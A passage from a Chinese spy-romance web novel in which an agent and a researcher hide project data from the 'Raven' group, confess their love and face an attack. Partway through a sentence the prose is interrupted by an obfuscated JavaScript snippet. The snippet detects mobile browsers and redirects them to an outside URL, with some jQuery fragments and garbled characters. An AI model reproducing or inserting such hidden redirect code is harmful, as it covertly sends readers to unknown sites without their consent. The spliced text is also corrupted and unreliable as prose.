“渡鸦”卷土重来,而且这次更加疯狂。他们知道了“凤凰计划”的存在,知道了这些中国留学生正在用他们的数据做研究。
更要命的是,他们查到了沈青山的真实身份。
8月,陈处长发来加密电报:“**身份暴露,立即撤离。必要时销毁所有资料。**”
沈青山把电报给叶真真看了。
“你要走?”她问。
“我们一起走。”他说,“带着数据,回国。”
叶真真摇头:“不行。实验还没做完,还有三个患者在等待治疗。而且……我们不能把施密特教授一个人留在这里,‘渡鸦’会杀了他。”
“那你要我怎么办?”沈青山第一次对她吼,“我的任务是保护你和项目!现在你们都有危险!”
“那就保护我们!”叶真真也吼回来,“用你的方法!像当年保护施密特教授那样!”
沈青山愣住了。他看着叶真真眼里的坚决,知道她已经做好了最坏的打算。
“真真……”他声音软下来。
“沈青山,你听我说。”叶真真握住他的手——这是她第一次主动握他的手,“我们把数据分成三份。一份给振华,他是技术的核心;一份给薇薇,她用舞蹈保存;最后一份……给你。”
“为什么给我?”
“因为你是‘青松’。”她微笑,“大雪压不垮的青松。如果我们中有人不在了,你要继续。答应我。”
沈青山看着她,看着这个他爱了十年却从没说出口的女人,点了点头。
“我答应。”
8月16日,他们完成了数据分割和隐藏。那天晚上,实验室里只剩下他们两个人。
叶真真从抽屉里拿出一个小盒子,递给沈青山:“给你的。”
沈青山打开,里面是一枚铜钥匙,还有一张字条:“**如果有一天需要终极答案,带小辞来这里。**”
“小辞是谁?”
“振华的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17004305|194002||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
儿子,今年应该……九岁了。”叶真真说,“如果……我是说如果,我们都不在了,将来有一天,这个孩子可能会继续我们的事。那时候,你需要这把钥匙。”
沈青山握紧钥匙,金属的冰凉刺痛掌心。
“真真,”他说,“有件事我一直没告诉你。”
“什么?”
“我爱你。”他说得很平静,就像在说今天的天气,“从1987年那个晚上开始,也许更早。但我不能说,因为我是‘青松’,我的命不属于自己。”
叶真真愣住了,然后笑了,笑着笑着眼泪流下来。
“我也爱你。”她说,“从你为了我们威胁‘渡鸦’开始,从你为了项目去威胁伦理委员会开始,从你在雪山上吻我开始。但我也不敢说,因为……我怕说了,就舍不得了。”
两人相拥,第一次也是最后一次。
8月17日,雨夜。
“渡鸦”的人来了,比预想的还多。沈青山让叶真真带着核心数据从密道走,自己留下来断后。
“一起走!”叶真真抓住他的手。